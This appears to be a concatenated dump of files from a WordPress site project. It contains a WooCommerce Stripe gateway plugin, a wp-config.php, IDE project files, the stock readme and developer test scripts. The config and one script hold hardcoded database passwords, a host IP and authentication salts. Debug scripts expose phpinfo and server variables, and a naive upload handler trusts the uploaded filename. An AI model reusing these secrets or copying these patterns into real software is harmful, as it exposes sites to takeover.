46 define( 'WC_STRIPE_PLUGIN_URL', untrailingslashit( plugins_url( basename( plugin_dir_path( __FILE__ ) ), basename( __FILE__ ) ) ) );
47 define( 'WC_STRIPE_MAIN_FILE', __FILE__ );
48
49 // required files
50 require_once( 'includes/class-wc-gateway-stripe-logger.php' );
51
52 // Actions
53 add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'plugin_action_links' ) );
54 add_action( 'plugins_loaded', array( $this, 'init' ), 0 );
55 add_filter( 'woocommerce_payment_gateways', array( $this, 'register_gateway' ) );
56 add_action( 'woocommerce_order_status_on-hold_to_processing', array( $this, 'capture_payment' ) );
57 add_action( 'woocommerce_order_status_on-hold_to_completed', array( $this, 'capture_payment' ) );
58 add_action( 'woocommerce_order_status_on-hold_to_cancelled', array( $this, 'cancel_payment' ) );
59 add_action( 'woocommerce_order_status_on-hold_to_refunded', array( $this, 'cancel_payment' ) );
60 }
61
62 /**
63 * Add relevant links to plugins page
64 * @param array $links
65 * @return array
66 */
67 public function plugin_action_links( $links ) {
68 $addons = ( class_exists( 'WC_Subscriptions_Order' ) || class_exists( 'WC_Pre_Orders_Order' ) ) ? '_addons' : '';
69 $plugin_links = array(
70 '<a href="' . admin_url( 'admin.php?page=wc-settings&tab=checkout&section=wc_gateway_stripe' . $addons ) . '">' . __( 'Settings', 'woocommerce-gateway-stripe' ) . '</a>',
71 '<a href="http://support.woothemes.com/">' . __( 'Support', 'woocommerce-gateway-stripe' ) . '</a>',
72 '<a href="http://docs.woothemes.com/document/stripe/">' . __( 'Docs', 'woocommerce-gateway-stripe' ) . '</a>',
73 );
74 return array_merge( $plugin_links, $links );
75 }
76
77 /**
78 * Init localisations and files
79 */
80 public function init() {
81 if ( ! class_exists( 'WC_Payment_Gateway' ) ) {
82 return;
83 }
84
85 // Includes
86 include_once( 'includes/class-wc-gateway-stripe.php' );
87 include_once( 'includes/class-wc-gateway-stripe-saved-cards.php' );
88
89 if ( class_exists( 'WC_Subscriptions_Order' ) || class_exists( 'WC_Pre_Orders_Order' ) ) {
90
91 include_once( 'includes/class-wc-gateway-stripe-addons.php' );
92
93 // Support for WooCommerce Subscriptions 1.n
94 if ( ! function_exists( 'wcs_create_renewal_order' ) ) {
95 include_once( 'includes/deprecated/class-wc-gateway-stripe-addons-deprecated.php' );
96 }
97 }
98
99 $this->load_plugin_textdomain();
100 }
101
102 /**
103 * Load Localisation files.
104 *
105 * Note: the first-loaded translation file overrides any following ones if
106 * the same translation is present.
107 *
108 * Locales found in:
109 * - WP_LANG_DIR/woocommerce-gateway-stripe/woocommerce-gateway-stripe-LOCALE.mo
110 * - WP_LANG_DIR/plugins/woocommerce-gateway-stripe-LOCALE.mo
111 */
112 public function load_plugin_textdomain() {
113 $locale = apply_filters( 'plugin_locale', get_locale(), 'woocommerce-gateway-stripe' );
114 $dir = trailingslashit( WP_LANG_DIR );
115
116 load_textdomain( 'woocommerce-gateway-stripe', $dir . 'woocommerce-gateway-stripe/woocommerce-gateway-stripe-' . $locale . '.mo' );
117 load_plugin_textdomain( 'woocommerce-gateway-stripe', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
118 }
119
120 /**
121 * Register the gateway for use
122 */
123 public function register_gateway( $methods ) {
124 if ( class_exists( 'WC_Subscriptions_Order' ) || class_exists( 'WC_Pre_Orders_Order' ) ) {
125 // Support for WooCommerce Subscriptions 1.n
126 if ( class_exists( 'WC_Subscriptions_Order' ) && ! function_exists( 'wcs_create_renewal_order' ) ) {
127 $methods[] = 'WC_Gateway_Stripe_Addons_Deprecated';
128 } else {
129 $methods[] = 'WC_Gateway_Stripe_Addons';
130 }
131 } else {
132 $methods[] = 'WC_Gateway_Stripe';
133 }
134
135 return $methods;
136 }
137
138 /**
139 * Capture payment when the order is changed from on-hold to complete or processing
140 *
141 * @param int $order_id
142 */
143 public function capture_payment( $order_id ) {
144 $order = wc_get_order( $order_id );
145
146 if ( $order->payment_method == 'stripe' ) {
147 $charge = get_post_meta( $order_id, '_stripe_charge_id', true );
148 $captured = get_post_meta( $order_id, '_stripe_charge_captured', true );
149
150 if ( $charge && $captured == 'no' ) {
151 $stripe = new WC_Gateway_Stripe();
152
153 $result = $stripe->stripe_request( array(
154 'amount' => $order->order_total * 100,
155 'expand[]' => 'balance_transaction'
156 ), 'charges/' . $charge . '/capture' );
157
158 if ( is_wp_error( $result ) ) {
159 $order->add_order_note( __( 'Unable to capture charge!', 'woocommerce-gateway-stripe' ) . ' ' . $result->get_error_message() );
160 } else {
161 $order->add_order_note( sprintf( __( 'Stripe charge complete (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $result->id ) );
162 update_post_meta( $order->id, '_stripe_charge_captured', 'yes' );
163
164 // Store other data such as fees
165 update_post_meta( $order->id, 'Stripe Payment ID', $result->id );
166
167 if ( isset( $result->balance_transaction ) && isset( $result->balance_transaction->fee ) ) {
168 update_post_meta( $order->id, 'Stripe Fee', number_format( $result->balance_transaction->fee / 100, 2, '.', '' ) );
169 update_post_meta( $order->id, 'Net Revenue From Stripe', ( $order->order_total - number_format( $result->balance_transaction->fee / 100, 2, '.', '' ) ) );
170 }
171 }
172 }
173 }
174 }
175
176 /**
177 * Cancel pre-auth on refund/cancellation
178 *
179 * @param int $order_id
180 */
181 public function cancel_payment( $order_id ) {
182 $order = wc_get_order( $order_id );
183
184 if ( $order->payment_method == 'stripe' ) {
185 $charge = get_post_meta( $order_id, '_stripe_charge_id', true );
186
187 if ( $charge ) {
188 $stripe = new WC_Gateway_Stripe();
189
190 $result = $stripe->stripe_request( array(
191 'amount' => $order->order_total * 100
192 ), 'charges/' . $charge . '/refund' );
193
194 if ( is_wp_error( $result ) ) {
195 $order->add_order_note( __( 'Unable to refund charge!', 'woocommerce-gateway-stripe' ) . ' ' . $result->get_error_message() );
196 } else {
197 $order->add_order_note( sprintf( __( 'Stripe charge refunded (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $result->id ) );
198 delete_post_meta( $order->id, '_stripe_charge_captured' );
199 delete_post_meta( $order->id, '_stripe_charge_id' );
200 }
201 }
202 }
203 }
204
205 }
206
207 new WC_Stripe();
1 <?php
2 define('COOKIE_DOMAIN', 'reize.com.au'); // Added by W3 Total Cache
3
4 /** Enable W3 Total Cache */
5 define('WP_CACHE', true); // Added by W3 Total Cache
6
7 /**
8 * The base configuration for WordPress
9 *
10 * The wp-config.php creation script uses this file during the
11 * installation. You don't have to use the web site, you can
12 * copy this file to "wp-config.php" and fill in the values.
13 *
14 * This file contains the following configurations:
15 *
16 * * MySQL settings
17 * * Secret keys
18 * * Database table prefix
19 * * ABSPATH
20 *
21 * @link https://codex.wordpress.org/Editing_wp-config.php
22 *
23 * @package WordPress
24 */
25
26 // ** MySQL settings - You can get this info from your web host ** //
27 /** The name of the database for WordPress */
28 define('DB_NAME', 'reize');
29
30 /** MySQL database username */
31 define('DB_USER', 'reizedbadmin');
32
33 /** MySQL database password */
34 define('DB_PASSWORD', 'W0mbatSoup2217$!');
35
36 /** MySQL hostname */
37 define('DB_HOST', '52.65.125.87');
38
39 /** Database Charset to use in creating database tables. */
40 define('DB_CHARSET', 'utf8mb4');
41
42 /** The Database Collate type. Don't change this if in doubt. */
43 define('DB_COLLATE', '');
44
45
46 /**#@+
47 * Authentication Unique Keys and Salts.
48 *
49 * Change these to different unique phrases!
50 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
51 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
52 *
53 * @since 2.6.0
54 */
55 define('AUTH_KEY', 'V+5$kQc$P^9t.y=;vE+[bk]I1;rv{f&@IB^wtG7j2c*YgDhE4;4V)0ecw#qH{aWk');
56 define('SECURE_AUTH_KEY', '(_omZj<.sM]e^SeR9Wsa(tFD=+&s%/>:q||~=4b),X h|=U=R1-T<A7gbDl$E)_&');
57 define('LOGGED_IN_KEY', 'xI]XyHNdc|nqj]>,mV6k|c<[i>yT{eBppBo9YE#k9+XM|Rg5;},S~@vli!#^Cq&z');
58 define('NONCE_KEY', '1nVNP(KU-+mfjY9{K,5v#W@H&h<*X+z]i_iAN_l+_S-^@BA?[]o(]kRq7-:WJoG{');
59 define('AUTH_SALT', ',<B<mzQ8H+2{RPcXqQnX@|rD1m$xn`T7]^arOYiO*n?CS|9h2&%w1fJE]rw:ma+&');
60 define('SECURE_AUTH_SALT', '.eR]rND|@Y4%z99_D3NUa#Ep+<ToUBIb^@f&9]w)Q-AtbEOF+l0ZkUH(/Im+S:fZ');
61 define('LOGGED_IN_SALT', '@l+xtHfOFkeL+R0N[dqgl}9.0V^Ed.&`W-e,n)rGu3<O`dx%,jO-D onw|Ct23zi');
62 define('NONCE_SALT', 'hQm|pbXd`@UD+aOYBE5>--4?v%R];vv%T[8+G;|1m@n<sM-219sRw!$V+h}GQ/EI');
63
64 /**#@-*/
65
66 /**
67 * WordPress Database Table prefix.
68 *
69 * You can have multiple installations in one database if you give each
70 * a unique prefix. Only numbers, letters, and underscores please!
71 */
72 $table_prefix = 'wp_';
73
74 /**
75 * For developers: WordPress debugging mode.
76 *
77 * Change this to true to enable the display of notices during development.
78 * It is strongly recommended that plugin and theme developers use WP_DEBUG
79 * in their development environments.
80 *
81 * For information on other constants that can be used for debugging,
82 * visit the Codex.
83 *
84 * @link https://codex.wordpress.org/Debugging_in_WordPress
85 */
86 define('WP_DEBUG', false);
87
88
89 /* That's all, stop editing! Happy blogging. */
90
91 /** Absolute path to the WordPress directory. */
92 if ( !defined('ABSPATH') )
93 define('ABSPATH', dirname(__FILE__) . '/');
94
95 /** Sets up WordPress vars and included files. */
96 define('WP_HOME','https://reize.com.au');
97 define('WP_SITEURL','https://reize.com.au');
98 //define( 'FORCE_SSL_ADMIN', true );
99 require_once(ABSPATH . 'wp-settings.php');
1 auxiliary.org-netbeans-modules-php-smarty.smarty-framework=true
2 browser.reload.on.save=true
3 include.path=${php.global.include.path}
4 php.version=PHP_54
5 source.encoding=UTF-8
6 src.dir=.
7 tags.asp=false
8 tags.short=false
9 web.root=.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <project xmlns="http://www.netbeans.org/ns/project/1">
3 <type>org.netbeans.modules.php.project</type>
4 <configuration>
5 <data xmlns="http://www.netbeans.org/ns/php-project/1">
6 <name>16jason79_reize</name>
7 </data>
8 </configuration>
9 </project>
1 <!DOCTYPE html>
2 <html>
3 <head>
4 <meta name="viewport" content="width=device-width" />
5 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
6 <title>WordPress &#8250; ReadMe</title>
7 <link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
8 </head>
9 <body>
10 <h1 id="logo">
11 <a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
12 <br /> Version 4.4.2
13 </h1>
14 <p style="text-align: center">Semantic Personal Publishing Platform</p>
15
16 <h2>First Things First</h2>
17 <p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I&#8217;m proud to be a part of. Thousands of hours have gone into WordPress, and we&#8217;re dedicated to making it better every day. Thank you for making it part of your world.</p>
18 <p style="text-align: right">&#8212; Matt Mullenweg</p>
19
20 <h2>Installation: Famous 5-minute install</h2>
21 <ol>
22 <li>Unzip the package in an empty directory and upload everything.</li>
23 <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
24 <ol>
25 <li>If for some reason this doesn&#8217;t work, don&#8217;t worry. It doesn&#8217;t work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
26 <li>Save the file as <code>wp-config.php</code> and upload it.</li>
27 <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
28 </ol>
29 </li>
30 <li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
31 <li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
32 <li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
33 </ol>
34
35 <h2>Updating</h2>
36 <h3>Using the Automatic Updater</h3>
37 <p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
38 <ol>
39 <li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
40 <li>You wanted more, perhaps? That&#8217;s it!</li>
41 </ol>
42
43 <h3>Updating Manually</h3>
44 <ol>
45 <li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
46 <li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
47 <li>Upload the new files.</li>
48 <li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
49 </ol>
50
51 <h2>Migrating from other systems</h2>
52 <p>WordPress can <a href="https://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
53
54 <h2>System Requirements</h2>
55 <ul>
56 <li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
57 <li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
58 </ul>
59
60 <h3>Recommendations</h3>
61 <ul>
62 <li><a href="http://php.net/">PHP</a> version <strong>5.6</strong> or higher.</li>
63 <li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.6</strong> or higher.</li>
64 <li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
65 <li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
66 </ul>
67
68 <h2>Online Resources</h2>
69 <p>If you have any questions that aren&#8217;t addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
70 <dl>
71 <dt><a href="https://codex.wordpress.org/">The WordPress Codex</a></dt>
72 <dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
73 <dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
74 <dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
75 <dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
76 <dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
77 <dt><a href="https://wordpress.org/support/">WordPress Support Forums</a></dt>
78 <dd>If you&#8217;ve looked everywhere and still can&#8217;t find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
79 <dt><a href="https://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
80 <dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
81 </dl>
82
83 <h2>Final Notes</h2>
84 <ul>
85 <li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/">Support Forums</a>.</li>
86 <li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn&#8217;t modify any of the core code.</li>
87 </ul>
88
89 <h2>Share the Love</h2>
90 <p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
91
92 <p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
93
94 <h2>License</h2>
95 <p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
96
97 </body>
98 </html>
1 <!DOCTYPE html>
2 <html>
3 <head>
4 <meta name="viewport" content="width=device-width" />
5 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
6 <title>WordPress &#8250; ReadMe</title>
7 <link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
8 </head>
9 <body>
10 <h1 id="logo">
11 <a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
12 <br /> Version 4.4.2
13 </h1>
14 <p style="text-align: center">Semantic Personal Publishing Platform</p>
15
16 <h2>First Things First</h2>
17 <p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I&#8217;m proud to be a part of. Thousands of hours have gone into WordPress, and we&#8217;re dedicated to making it better every day. Thank you for making it part of your world.</p>
18 <p style="text-align: right">&#8212; Matt Mullenweg</p>
19
20 <h2>Installation: Famous 5-minute install</h2>
21 <ol>
22 <li>Unzip the package in an empty directory and upload everything.</li>
23 <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
24 <ol>
25 <li>If for some reason this doesn&#8217;t work, don&#8217;t worry. It doesn&#8217;t work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
26 <li>Save the file as <code>wp-config.php</code> and upload it.</li>
27 <li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
28 </ol>
29 </li>
30 <li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
31 <li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
32 <li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
33 </ol>
34
35 <h2>Updating</h2>
36 <h3>Using the Automatic Updater</h3>
37 <p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
38 <ol>
39 <li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
40 <li>You wanted more, perhaps? That&#8217;s it!</li>
41 </ol>
42
43 <h3>Updating Manually</h3>
44 <ol>
45 <li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
46 <li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
47 <li>Upload the new files.</li>
48 <li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
49 </ol>
50
51 <h2>Migrating from other systems</h2>
52 <p>WordPress can <a href="https://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
53
54 <h2>System Requirements</h2>
55 <ul>
56 <li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
57 <li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
58 </ul>
59
60 <h3>Recommendations</h3>
61 <ul>
62 <li><a href="http://php.net/">PHP</a> version <strong>5.6</strong> or higher.</li>
63 <li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.6</strong> or higher.</li>
64 <li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
65 <li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
66 </ul>
67
68 <h2>Online Resources</h2>
69 <p>If you have any questions that aren&#8217;t addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
70 <dl>
71 <dt><a href="https://codex.wordpress.org/">The WordPress Codex</a></dt>
72 <dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
73 <dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
74 <dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
75 <dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
76 <dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
77 <dt><a href="https://wordpress.org/support/">WordPress Support Forums</a></dt>
78 <dd>If you&#8217;ve looked everywhere and still can&#8217;t find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
79 <dt><a href="https://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
80 <dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
81 </dl>
82
83 <h2>Final Notes</h2>
84 <ul>
85 <li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/">Support Forums</a>.</li>
86 <li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn&#8217;t modify any of the core code.</li>
87 </ul>
88
89 <h2>Share the Love</h2>
90 <p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
91
92 <p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
93
94 <h2>License</h2>
95 <p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
96
97 </body>
98 </html>
1 <?php
2
3 function unpackage($queryString) {
4 $array = array();
5 parse_str($queryString, $array);
6
7 return $array;
8 }
9
10 $stringQuery = 'a1=4&A2=4';
11 $values = unpackage($stringQuery);
12
13 function package($values, $SecureHash, &$arrayRequestKey) {
14 $queryString = '';
15 //$hashData = $SecureHash;
16 // 1. The Secure Hash Secret is always first.
17 // 2. Then all DO fields are concatenated to the Secure Hash Secret in alphabetical order of the field name.
18 ksort($values);
19
20 foreach ($values as $key => $val) {
21 if (strlen($val) > 0) {
22 $queryString .= $key . '=' . rawurlencode($val) . '&';
23 //$hashData .= $val;
24 $arrayRequestKey[] = $key;
25 }
26 }
27
28 // Remove the trailing '&'.
29 $queryString = substr($queryString, 0, strlen($queryString) - 1);
30
31 // Create the secure hash and append it if the merchant secret has been provided.
32 if (strlen($SecureHash) > 0) {
33 $stringSecureHash = strtoupper(hash_hmac('SHA256', $queryString, pack('H*', $SecureHash)));
34 //strtoupper(md5($hashData))
35
36 $queryString = 'vpc_SecureHash=' . $stringSecureHash . '&vpc_SecureHashType=SHA256' . '&' . $queryString;
37 }
38
39 return $queryString;
40 }
41
42 $arrayRequestKey = array();
43 echo package($values, '123454567', $arrayRequestKey);
44 print_r($arrayRequestKey);
45
46
47 exit();
48 echo date('d-m-Y H:i:s');
49 exit();
50 echo dirname(__FILE__);
51 exit();
52 echo (extension_loaded('xdebug') ? '' : 'non '), 'exists';
53 ini_set('memory_limit', '256M');
54 phpinfo();
55 exit();
56 print_r($_SERVER);
57 echo dirname(__FILE__);
58 echo "Test trest";
1 <?php
2
3 $currentDate = strtotime("+24 hours", strtotime(date('Y-m-d H:i:s')));
4 $currentDate = date('Y-m-d H:i:s', $currentDate);
5 echo $currentDate."<br/>";
6
7 $currentDate = strtotime("-24 hours", strtotime(date('Y-m-d H:i:s')));
8 $currentDate = date('Y-m-d H:i:s', $currentDate);
9 echo $currentDate;
10 exit();
11
12 /*
13 * To change this license header, choose License Headers in Project Properties.
14 * To change this template file, choose Tools | Templates
15 * and open the template in the editor.
16 */
17
18 /**
19 * Description of test
20 *
21 * @author Administrator
22 */
23 function renderCouponCode() {
24 //date('ymdhis');
25 return date('His') . randDomChar(2) . date('ymd');
26 }
27
28 function randDomChar($length = 10) {
29
30 $string = '';
31 // You can define your own characters here.
32 $characters = "ABCDEFHJKLMNPRTVWXYZabcdefghijklmnopqrstuvwxyz";
33
34 for ($p = 0; $p < $length; $p++) {
35 $string .= $characters[mt_rand(0, strlen($characters) - 1)];
36 }
37
38 return $string;
39 }
40
41 //echo renderCouponCode()."<br/>";
42 //$currentDate = strtotime("+3 day", strtotime(date('Y-m-d')));
43 //$currentDate1 = strtotime(date('Y-m-d'));
44 echo date('Y-m-d H:i:s') . "<br/>";
45 $currentDate = strtotime("+6 hours", strtotime(date('Y-m-d H:i:s')));
46 echo date('Y-m-d H:i:s', $currentDate) . "<br/>";
47
48 echo date('Y-m-d', strtotime('2016-05-11 11:18:10')) . "<br/>";
49 $startDate = '2016-05-11 11:18:10';
50 $endDate = '2016-05-11 11:20:10';
51
52 $startDate = strtotime(date('Y-m-d', strtotime($startDate)));
53 $endDate = strtotime(date('Y-m-d', strtotime($endDate)));
54 echo $endDate - $startDate;
55 /**<span class="tribe-event-date-start">August 3 @ 8:00 am</span>
56 -
57 <span class="tribe-event-date-end">August 7 @ 5:00 pm</span>
58 <div class="recurringinfo"><div class="event-is-recurring"><span class="tribe-events-divider">
59 /**
60 * $arrayStringTitle = explode('-', str_replace(array('<span class="tribe-event-date-start">', '<span class="tribe-event-date-end">', '</span>'), array('', '', ''), $title));
61
62 $time1 = '';
63 $time2 = '';
64 $time3 = '';
65 $time4 = '';
66 print_r($arrayStringTitle);
67 if (count($arrayStringTitle) >= 2) {
68 $stringTime1 = (isset($arrayStringTitle[0]) && $arrayStringTitle[0]) ? $arrayStringTitle[0] : '';
69
70 if ($stringTime1) {
71 $arrayStringTime1 = explode('@', $stringTime1);
72 // print_r($arrayStringTime1);
73 // exit();
74 if (count($arrayStringTime1) == 2) {
75 $time1 = isset($arrayStringTime1[0]) ? $arrayStringTime1[0] : '';
76 $time2 = isset($arrayStringTime1[1]) ? $arrayStringTime1[1] : '';
77 //echo $time1;
78 //exit();
79 }
80 }
81 $stringTime2 = (isset($arrayStringTitle[1]) && $arrayStringTitle[1]) ? $arrayStringTitle[1] : '';
82 if ($stringTime2) {
83 $arrayStringTime2 = explode('@', $stringTime2);
84 if (count($arrayStringTime2) == 2) {
85 $time3 = isset($arrayStringTime2[0]) ? $arrayStringTime2[0] : '';
86 $time4 = isset($arrayStringTime2[1]) ? $arrayStringTime2[1] : '';
87 }
88 }
89 }
90
91 if ($time1 && $time2 && $time3 && $time4) {
92 $title = '<span class="tribe-event-date-start">' . trim($time1) . " - " . trim($time3) . "</span> @ <span class='tribe-event-date-end'>" . trim($time2) . " - " . trim($time4) . "</span>";
93 }
94 */
1 <?php
2 $username = "dev";
3 $password = "dev123456";
4 $hostname = "dev.fgct.net";
5
6 //connection to the database
7 $dbhandle = mysql_connect($hostname, $username, $password)
8 or die("Unable to connect to MySQL");
9 echo "Connected to MySQL<br>";
10 ?>
1 <!DOCTYPE html>
2 <!--
3 To change this license header, choose License Headers in Project Properties.
4 To change this template file, choose Tools | Templates
5 and open the template in the editor.
6 -->
7 <html>
8 <head>
9 <title>TODO supply a title</title>
10 <meta charset="UTF-8">
11 <meta name="viewport" content="width=device-width, initial-scale=1.0">
12 </head>
13 <body>
14 <div style="width: 700px; height: 1864px; background: #ccc;">TODO write content</div>
15 </body>
16 </html>
1 <html>
2 <body>
3
4 <form action="" method="post">
5 Name: <input type="text" name="name" /><br>
6 E-mail: <input type="text" name="email" /><br>
7 <input name="retest[1]" type="checkbox" value="1"/>
8 <input name="retest[2]" type="checkbox" value="2"/>
9 <input name="retest[3]" type="checkbox" value="3"/>
10 <input type="submit">
11 </form>
12
13 </body>
14 </html>
15 <?php print_r($_POST); ?>
1
2 <!DOCTYPE html>
3 <html>
4 <body>
5
6 <form action="http://16jason107.dev.fgct.net/testupload/upload.php" method="post" enctype="multipart/form-data">
7 Select image to upload:
8 <input type="file" name="fileToUpload" id="fileToUpload">
9 <input type="submit" value="Upload Image" name="submit">
10 </form>
11
12 </body>
13 </html>
14
1 <?php
2 $target_dir = dirname(dirname(__FILE__))."/wp-content/uploads/2016/04/";
3 $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
4 $uploadOk = 1;
5 $imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
6 // Check if image file is a actual image or fake image
7 if(isset($_POST["submit"])) {
8 $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
9 if($check !== false) {
10 echo "File is an image - " . $check["mime"] . ".";
11 $uploadOk = 1;
12 } else {
13 echo "File is not an image.";
14 $uploadOk = 0;
15 }
16 }
17 // Check if file already exists
18 if (file_exists($target_file)) {
19 echo "Sorry, file already exists.";
20 $uploadOk = 0;
21 }
22 // Check file size
23 if ($_FILES["fileToUpload"]["size"] > 500000) {
24 echo "Sorry, your file is too large.";
25 $uploadOk = 0;
26 }
